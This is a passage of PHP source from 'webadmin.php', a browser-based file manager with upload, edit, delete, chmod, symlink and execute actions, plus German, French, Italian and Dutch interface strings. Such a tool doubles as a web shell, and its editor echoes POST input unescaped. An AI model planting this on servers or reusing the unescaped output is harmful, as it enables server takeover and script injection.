		} else {
			listing_page(error('not_edited', $file));
		}

	}

	break;

case 'permission':

	if (!empty($_POST['set'])) {

		$mode = 0;
		if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
		if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
		if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;

		if (@chmod($file, $mode)) {
			listing_page(notice('permission_set', $file, decoct($mode)));
		} else {
			listing_page(error('permission_not_set', $file, decoct($mode)));
		}

	} else {

		html_header();

		$mode = fileperms($file);

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<p style="margin: 0">' . phrase('permission_for', $file) . '</p>

	<hr />

	<table id="permission">
	<tr>
		<td></td>
		<td style="border-right: 1px solid black">' . word('owner') . '</td>
		<td style="border-right: 1px solid black">' . word('group') . '</td>
		<td>' . word('other') . '</td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('read') . ':</td>
		<td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('write') . ':</td>
		<td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('execute') . ':</td>
		<td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
	</tr>
	</table>

	<hr />

	<input type="submit" name="set" value="' . word('set') . '" />

	<input type="hidden" name="action" value="permission" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

default:

	listing_page();

}

/* ------------------------------------------------------------------------- */

function getlist ($directory) {
	global $delim, $win;

	if ($d = @opendir($directory)) {

		while (($filename = @readdir($d)) !== false) {

			$path = $directory . $filename;

			if ($stat = @lstat($path)) {

				$file = array(
					'filename'    => $filename,
					'path'        => $path,
					'is_file'     => @is_file($path),
					'is_dir'      => @is_dir($path),
					'is_link'     => @is_link($path),
					'is_readable' => @is_readable($path),
					'is_writable' => @is_writable($path),
					'size'        => $stat['size'],
					'permission'  => $stat['mode'],
					'owner'       => $stat['uid'],
					'group'       => $stat['gid'],
					'mtime'       => @filemtime($path),
					'atime'       => @fileatime($path),
					'ctime'       => @filectime($path)
				);

				if ($file['is_dir']) {
					$file['is_executable'] = @file_exists($path . $delim . '.');
				} else {
					if (!$win) {
						$file['is_executable'] = @is_executable($path);
					} else {
						$file['is_executable'] = true;
					}
				}

				if ($file['is_link']) $file['target'] = @readlink($path);

				if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
				if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));

				$files[] = $file;

			}

		}

		return $files;

	} else {
		return false;
	}

}

function sortlist ($list, $key, $reverse) {

	$dirs = array();
	$files = array();
	
	for ($i = 0; $i < sizeof($list); $i++) {
		if ($list[$i]['is_dir']) $dirs[] = $list[$i];
		else $files[] = $list[$i];
	}

	quicksort($dirs, 0, sizeof($dirs) - 1, $key);
	if ($reverse) $dirs = array_reverse($dirs);

	quicksort($files, 0, sizeof($files) - 1, $key);
	if ($reverse) $files = array_reverse($files);

	return array_merge($dirs, $files);

}

function quicksort (&$array, $first, $last, $key) {

	if ($first < $last) {

		$cmp = $array[floor(($first + $last) / 2)][$key];

		$l = $first;
		$r = $last;

		while ($l <= $r) {

			while ($array[$l][$key] < $cmp) $l++;
			while ($array[$r][$key] > $cmp) $r--;

			if ($l <= $r) {

				$tmp = $array[$l];
				$array[$l] = $array[$r];
				$array[$r] = $tmp;

				$l++;
				$r--;

			}

		}

		quicksort($array, $first, $r, $key);
		quicksort($array, $l, $last, $key);

	}

}

function permission_octal2string ($mode) {

	if (($mode & 0xC000) === 0xC000) {
		$type = 's';
	} elseif (($mode & 0xA000) === 0xA000) {
		$type = 'l';
	} elseif (($mode & 0x8000) === 0x8000) {
		$type = '-';
	} elseif (($mode & 0x6000) === 0x6000) {
		$type = 'b';
	} elseif (($mode & 0x4000) === 0x4000) {
		$type = 'd';
	} elseif (($mode & 0x2000) === 0x2000) {
		$type = 'c';
	} elseif (($mode & 0x1000) === 0x1000) {
		$type = 'p';
	} else {
		$type = '?';
	}

	$owner  = ($mode & 00400) ? 'r' : '-';
	$owner .= ($mode & 00200) ? 'w' : '-';
	if ($mode & 0x800) {
		$owner .= ($mode & 00100) ? 's' : 'S';
	} else {
		$owner .= ($mode & 00100) ? 'x' : '-';
	}

	$group  = ($mode & 00040) ? 'r' : '-';
	$group .= ($mode & 00020) ? 'w' : '-';
	if ($mode & 0x400) {
		$group .= ($mode & 00010) ? 's' : 'S';
	} else {
		$group .= ($mode & 00010) ? 'x' : '-';
	}

	$other  = ($mode & 00004) ? 'r' : '-';
	$other .= ($mode & 00002) ? 'w' : '-';
	if ($mode & 0x200) {
		$other .= ($mode & 00001) ? 't' : 'T';
	} else {
		$other .= ($mode & 00001) ? 'x' : '-';
	}

	return $type . $owner . $group . $other;

}

function is_script ($filename) {
	return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
}

function getmimetype ($filename) {
	static $mimes = array(
		'\.jpg$|\.jpeg$'  => 'image/jpeg',
		'\.gif$'          => 'image/gif',
		'\.png$'          => 'image/png',
		'\.html$|\.html$' => 'text/html',
		'\.txt$|\.asc$'   => 'text/plain',
		'\.xml$|\.xsl$'   => 'application/xml',
		'\.pdf$'          => 'application/pdf'
	);

	foreach ($mimes as $regex => $mime) {
		if (eregi($regex, $filename)) return $mime;
	}

	// return 'application/octet-stream';
	return 'text/plain';

}

function del ($file) {
	global $delim;

	if (!file_exists($file)) return false;

	if (@is_dir($file) && !@is_link($file)) {

		$success = false;

		if (@rmdir($file)) {

			$success = true;

		} elseif ($dir = @opendir($file)) {

			$success = true;

			while (($f = readdir($dir)) !== false) {
				if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
					$success = false;
				}
			}
			closedir($dir);

			if ($success) $success = @rmdir($file);

		}

		return $success;

	}

	return @unlink($file);

}

function addslash ($directory) {
	global $delim;

	if (substr($directory, -1, 1) != $delim) {
		return $directory . $delim;
	} else {
		return $directory;
	}

}

function relative2absolute ($string, $directory) {

	if (path_is_relative($string)) {
		return simplify_path(addslash($directory) . $string);
	} else {
		return simplify_path($string);
	}

}

function path_is_relative ($path) {
	global $win;

	if ($win) {
		return (substr($path, 1, 1) != ':');
	} else {
		return (substr($path, 0, 1) != '/');
	}

}

function absolute2relative ($directory, $target) {
	global $delim;

	$path = '';
	while ($directory != $target) {
		if ($directory == substr($target, 0, strlen($directory))) {
			$path .= substr($target, strlen($directory));
			break;
		} else {
			$path .= '..' . $delim;
			$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
		}
	}
	if ($path == '') $path = '.';

	return $path;

}

function simplify_path ($path) {
	global $delim;

	if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
		$path = realpath($path);
		if (@is_dir($path)) {
			return addslash($path);
		} else {
			return $path;
		}
	}

	$pattern  = $delim . '.' . $delim;

	if (@is_dir($path)) {
		$path = addslash($path);
	}

	while (strpos($path, $pattern) !== false) {
		$path = str_replace($pattern, $delim, $path);
	}

	$e = addslashes($delim);
	$regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;

	while (ereg($regex, $path)) {
		$path = ereg_replace($regex, $delim, $path);
	}
	
	return $path;

}

function human_filesize ($filesize) {

	$suffices = 'kMGTPE';

	$n = 0;
	while ($filesize >= 1000) {
		$filesize /= 1024;
		$n++;
	}

	$filesize = round($filesize, 3 - strpos($filesize, '.'));

	if (strpos($filesize, '.') !== false) {
		while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
			$filesize = substr($filesize, 0, strlen($filesize) - 1);
		}
	}

	$suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));

	return $filesize . " {$suffix}B";

}

function strip (&$str) {
	$str = stripslashes($str);
}

/* ------------------------------------------------------------------------- */

function listing_page ($message = null) {
	global $self, $directory, $sort, $reverse;

	html_header();

	$list = getlist($directory);

	if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
	if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;

	echo '<h1 style="margin-bottom: 0">webadmin.php</h1>

<form enctype="multipart/form-data" action="' . $self . '" method="post">

<table id="main">
';

	directory_choice();

	if (!empty($message)) {
		spacer();
		echo $message;
	}

	if (@is_writable($directory)) {
		upload_box();
		create_box();
	} else {
		spacer();
	}

	if ($list) {
		$list = sortlist($list, $sort, $reverse);
		listing($list);
	} else {
		echo error('not_readable', $directory);
	}

	echo '</table>

</form>

';

	html_footer();

}

function listing ($list) {
	global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;

	echo '<tr class="listing">
	<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';

	column_title('filename', $sort, $reverse);
	column_title('size', $sort, $reverse);

	if (!$win) {
		column_title('permission', $sort, $reverse);
		column_title('owner', $sort, $reverse);
		column_title('group', $sort, $reverse);
	}

	echo '	<th class="functions">' . word('functions') . '</th>
</tr>
';

	for ($i = 0; $i < sizeof($list); $i++) {
		$file = $list[$i];

		$timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
		$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
		$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);

		echo '<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
	<td class="filename" title="' . html($timestamps) . '">';

		if ($file['is_link']) {

			echo '<img src="' . $self . '?image=link" alt="link" /> ';
			echo html($file['filename']) . ' &rarr; ';

			$real_file = relative2absolute($file['target'], $directory);

			if (@is_readable($real_file)) {
				if (@is_dir($real_file)) {
					echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
				} else {
					echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
				}
			} else {
				echo html($file['target']);
			}

		} elseif ($file['is_dir']) {

			echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
			if ($win || $file['is_executable']) {
				echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
			} else {
				echo html($file['filename']);
			}
			echo ' ]';

		} else {

			if (substr($file['filename'], 0, 1) == '.') {
				echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
			} else {
				echo '<img src="' . $self . '?image=file" alt="file" /> ';
			}

			if ($file['is_file'] && $file['is_readable']) {
			   echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
			} else {
				echo html($file['filename']);
			}

		}

		if ($file['size'] >= 1000) {
			$human = ' title="' . human_filesize($file['size']) . '"';
		} else {
			$human = '';
		}

		echo "</td>\n";

		echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";

		if (!$win) {

			echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';

			$l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
			if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
			echo html(permission_octal2string($file['permission']));
			if ($l) echo '</a>';

			echo "</td>\n";

			if (array_key_exists('owner_name', $file)) {
				echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
			} else {
				echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
			}

			if (array_key_exists('group_name', $file)) {
				echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
			} else {
				echo "\t<td class=\"group\">{$file['group']}</td>\n";
			}

		}

		echo '	<td class="functions">
		<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';

		$actions = array();
		if (function_exists('symlink')) {
			$actions[] = 'create_symlink';
		}
		if (@is_writable(dirname($file['path']))) {
			$actions[] = 'delete';
			$actions[] = 'rename';
			$actions[] = 'move';
		}
		if ($file['is_file'] && $file['is_readable']) {
			$actions[] = 'copy';
			$actions[] = 'download';
			if ($file['is_writable']) $actions[] = 'edit';
		}
		if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
			$actions[] = 'execute';
		}

		if (sizeof($actions) > 0) {

			echo '		<select class="small" name="action' . $i . '" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';

			foreach ($actions as $action) {
				echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
			}

			echo '		</select>
		<input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
';

		}

		echo '	</td>
</tr>
';

	}

	echo '<tr class="listing_footer">
	<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
	<td colspan="' . ($cols - 1) . '">
		<input type="hidden" name="num" value="' . sizeof($list) . '" />
		<input type="hidden" name="focus" value="" />
		<input type="hidden" name="olddir" value="' . html($directory) . '" />
';

	$actions = array();
	if (@is_writable(dirname($file['path']))) {
		$actions[] = 'delete';
		$actions[] = 'move';
	}
	$actions[] = 'copy';

	echo '		<select class="small" name="action_all" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';

	foreach ($actions as $action) {
		echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
	}

	echo '		</select>
		<input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
	</td>
</tr>
';

}

function column_title ($column, $sort, $reverse) {
	global $self, $directory;

	$d = 'dir=' . urlencode($directory) . '&amp;';

	$arr = '';
	if ($sort == $column) {
		if (!$reverse) {
			$r = '&amp;reverse=true';
			$arr = ' &and;';
		} else {
			$arr = ' &or;';
		}
	} else {
		$r = '';
	}
	echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";

}

function directory_choice () {
	global $directory, $homedir, $cols, $self;

	echo '<tr>
	<td colspan="' . $cols . '" id="directory">
		<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
		<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
		<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
	</td>
</tr>
';

}

function upload_box () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" id="upload">
		' . word('file') . ':
		<input type="file" name="upload" onfocus="activate(\'other\')" />
		<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
	</td>
</tr>
';

}

function create_box () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" id="create">
		<select name="create_type" size="1" onfocus="activate(\'create\')">
		<option value="file">' . word('file') . '</option>
		<option value="directory">' . word('directory') . '</option>
		</select>
		<input type="text" name="create_name" onfocus="activate(\'create\')" />
		<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
	</td>
</tr>
';

}

function edit ($file) {
	global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;

	html_header();

	echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>

<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';

	if (array_key_exists('content', $_POST)) {
		echo $_POST['content'];
	} else {
		$f = fopen($file, 'r');
		while (!feof($f)) {
			echo html(fread($f, 8192));
		}
		fclose($f);
	}

	if (!empty($_POST['user'])) {
		echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
	}
	if (!empty($_POST['basic_auth'])) {
		if ($win) {
			$authfile = str_replace('\\', '/', $directory) . $htpasswd;
		} else {
			$authfile = $directory . $htpasswd;
		}
		echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
		echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
		echo 'Require valid-user';
	}

	echo '</textarea>

	<hr />
';

	if ($apache && basename($file) == $htpasswd) {
		echo '
	' . word('user') . ': <input type="text" name="user" />
	' . word('password') . ': <input type="password" name="password" />
	<input type="submit" value="' . word('add') . '" />

	<hr />
';

	}

	if ($apache && basename($file) == $htaccess) {
		echo '
	<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />

	<hr />
';

	}

	echo '
	<input type="hidden" name="action" value="edit" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<input type="reset" value="' . word('reset') . '" id="red_button" />
	<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

	html_footer();

}

function spacer () {
	global $cols;

	echo '<tr>
	<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';

}

function textfieldsize ($content) {

	$size = strlen($content) + 5;
	if ($size < 30) $size = 30;

	return $size;

}

function request_dump () {

	foreach ($_REQUEST as $key => $value) {
		echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
	}

}

/* ------------------------------------------------------------------------- */

function html ($string) {
	global $site_charset;
	return htmlentities($string, ENT_COMPAT, $site_charset);
}

function word ($word) {
	global $words, $word_charset;
	return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}

function phrase ($phrase, $arguments) {
	global $words;
	static $search;

	if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";

	for ($i = 0; $i < sizeof($arguments); $i++) {
		$arguments[$i] = nl2br(html($arguments[$i]));
	}

	$replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');

	return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));

}

function getwords ($lang) {
	global $date_format, $word_charset;
	$word_charset = 'UTF-8';

	switch ($lang) {
	case 'de':

		$date_format = 'd.m.y H:i:s';

		return array(
'directory' => 'Verzeichnis',
'file' => 'Datei',
'filename' => 'Dateiname',

'size' => 'Größe',
'permission' => 'Rechte',
'owner' => 'Eigner',
'group' => 'Gruppe',
'other' => 'Andere',
'functions' => 'Funktionen',

'read' => 'lesen',
'write' => 'schreiben',
'execute' => 'ausführen',

'create_symlink' => 'Symlink erstellen',
'delete' => 'löschen',
'rename' => 'umbenennen',
'move' => 'verschieben',
'copy' => 'kopieren',
'edit' => 'editieren',
'download' => 'herunterladen',
'upload' => 'hochladen',
'create' => 'erstellen',
'change' => 'wechseln',
'save' => 'speichern',
'set' => 'setze',
'reset' => 'zurücksetzen',
'relative' => 'Pfad zum Ziel relativ',

'yes' => 'Ja',
'no' => 'Nein',
'back' => 'zurück',
'destination' => 'Ziel',
'symlink' => 'Symbolischer Link',
'no_output' => 'keine Ausgabe',

'user' => 'Benutzername',
'password' => 'Kennwort',
'add' => 'hinzufügen',
'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',

'uploaded' => '"[%1]" wurde hochgeladen.',
'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
'already_exists' => '"[%1]" existiert bereits.',
'created' => '"[%1]" wurde erstellt.',
'not_created' => '"[%1]" konnte nicht erstellt werden.',
'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?',
'deleted' => "Folgende Dateien wurden gelöscht:\n[%1]",
'not_deleted' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
'rename_file' => 'Benenne Datei um:',
'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
'move_files' => 'Verschieben folgende Dateien:',
'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
'copy_files' => 'Kopiere folgende Dateien:',
'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
'not_edited' => '"[%1]" kann nicht editiert werden.',
'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
'saved' => '"[%1]" wurde gespeichert.',
'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
'permission_for' => 'Rechte für "[%1]":',
'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
'not_readable' => '"[%1]" kann nicht gelesen werden.'
		);

	case 'fr':

		$date_format = 'd.m.y H:i:s';

		return array(
'directory' => 'Répertoire',
'file' => 'Fichier',
'filename' => 'Nom fichier',

'size' => 'Taille',
'permission' => 'Droits',
'owner' => 'Propriétaire',
'group' => 'Groupe',
'other' => 'Autres',
'functions' => 'Fonctions',

'read' => 'Lire',
'write' => 'Ecrire',
'execute' => 'Exécuter',

'create_symlink' => 'Créer lien symbolique',
'delete' => 'Effacer',
'rename' => 'Renommer',
'move' => 'Déplacer',
'copy' => 'Copier',
'edit' => 'Ouvrir',
'download' => 'Télécharger sur PC',
'upload' => 'Télécharger sur serveur',
'create' => 'Créer',
'change' => 'Changer',
'save' => 'Sauvegarder',
'set' => 'Exécuter',
'reset' => 'Réinitialiser',
'relative' => 'Relatif',

'yes' => 'Oui',
'no' => 'Non',
'back' => 'Retour',
'destination' => 'Destination',
'symlink' => 'Lien symbollique',
'no_output' => 'Pas de sortie',

'user' => 'Utilisateur',
'password' => 'Mot de passe',
'add' => 'Ajouter',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
'already_exists' => '"[%1]" existe déjà.',
'created' => '"[%1]" a été créé.',
'not_created' => '"[%1]" n a pas pu être créé.',
'really_delete' => 'Effacer le fichier?',
'deleted' => "Ces fichiers ont été détuits:\n[%1]",
'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
'rename_file' => 'Renomme fichier:',
'renamed' => '"[%1]" a été renommé en "[%2]".',
'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
'move_files' => 'Déplacer ces fichiers:',
'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
'copy_files' => 'Copier ces fichiers:',
'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" ne peut être ouvert.',
'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
'saved' => '"[%1]" a été sauvegardé.',
'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
'permission_for' => 'Droits de "[%1]":',
'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
'not_readable' => '"[%1]" ne peut pas être ouvert.'
		);

	case 'it':

		$date_format = 'd-m-Y H:i:s';

		return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Nome File',

'size' => 'Dimensioni',
'permission' => 'Permessi',
'owner' => 'Proprietario',
'group' => 'Gruppo',
'other' => 'Altro',
'functions' => 'Funzioni',

'read' => 'leggi',
'write' => 'scrivi',
'execute' => 'esegui',

'create_symlink' => 'crea link simbolico',
'delete' => 'cancella',
'rename' => 'rinomina',
'move' => 'sposta',
'copy' => 'copia',
'edit' => 'modifica',
'download' => 'download',
'upload' => 'upload',
'create' => 'crea',
'change' => 'cambia',
'save' => 'salva',
'set' => 'imposta',
'reset' => 'reimposta',
'relative' => 'Percorso relativo per la destinazione',

'yes' => 'Si',
'no' => 'No',
'back' => 'indietro',
'destination' => 'Destinazione',
'symlink' => 'Link simbolico',
'no_output' => 'no output',

'user' => 'User',
'password' => 'Password',
'add' => 'aggiungi',
'add_basic_auth' => 'aggiungi autenticazione base',

'uploaded' => '"[%1]" è stato caricato.',
'not_uploaded' => '"[%1]" non è stato caricato.',
'already_exists' => '"[%1]" esiste già.',
'created' => '"[%1]" è stato creato.',
'not_created' => '"[%1]" non è stato creato.',
'really_delete' => 'Cancello questi file ?',
'deleted' => "Questi file sono stati cancellati:\n[%1]",
'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
'rename_file' => 'File rinominato:',
'renamed' => '"[%1]" è stato rinominato in "[%2]".',
'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
'move_files' => 'Sposto questi file:',
'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
'copy_files' => 'Copio questi file',
'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" non può essere modificato.',
'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
'saved' => '"[%1]" è stato salvato.',
'not_saved' => '"[%1]" non è stato salvato.',
'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
'permission_for' => 'Permessi di "[%1]":',
'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
'not_readable' => '"[%1]" non può essere letto.'
		);

	case 'nl':

		$date_format = 'n/j/y H:i:s';

		return array(
'directory' => 'Directory',
'file' => 'Bestand',
'filename' => 'Bestandsnaam',

'size' => 'Grootte',
'permission' => 'Bevoegdheid',
'owner' => 'Eigenaar',
'group' => 'Groep',
'other' => 'Anderen',
'functions' => 'Functies',

'read' => 'lezen',
'write' => 'schrijven',
'execute' => 'uitvoeren',

'create_symlink' => 'maak symlink',
'delete' => 'verwijderen',
'rename' => 'hernoemen',
'move' => 'verplaatsen',
'copy' => 'kopieren',
'edit' => 'bewerken',
'download' => 'downloaden',
'upload' => 'uploaden',
'create' => 'aanmaken',
'change' => 'veranderen',
'save' => 'opslaan',
'set' => 'instellen',
'reset' => 'resetten',
'relative' => 'Relatief pat naar doel',

'yes' => 'Ja',
'no' => 'Nee',
'back' => 'terug',
'destination' => 'Bestemming',
'symlink' => 'Symlink',
'no_output' => 'geen output',

'user' => 'Gebruiker',
'password' => 'Wachtwoord',
'add' => 'toevoegen',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" is verstuurd.',
'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
'already_exists' => '"[%1]" bestaat al.',
'created' => '"[%1]" is aangemaakt.',
'not_created' => '"[%1]" kan niet worden aangemaakt.',
'really_delete' => 'Deze bestanden verwijderen?',
'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
'rename_file' => 'Bestandsnaam veranderen:',
'renamed' => '"[%1]" heet nu "[%2]".',
'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
'move_files' => 'Verplaats deze bestanden:',
'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
'copy_files' => 'Kopieer deze bestanden:',
'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan niet worden bewerkt.',
'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
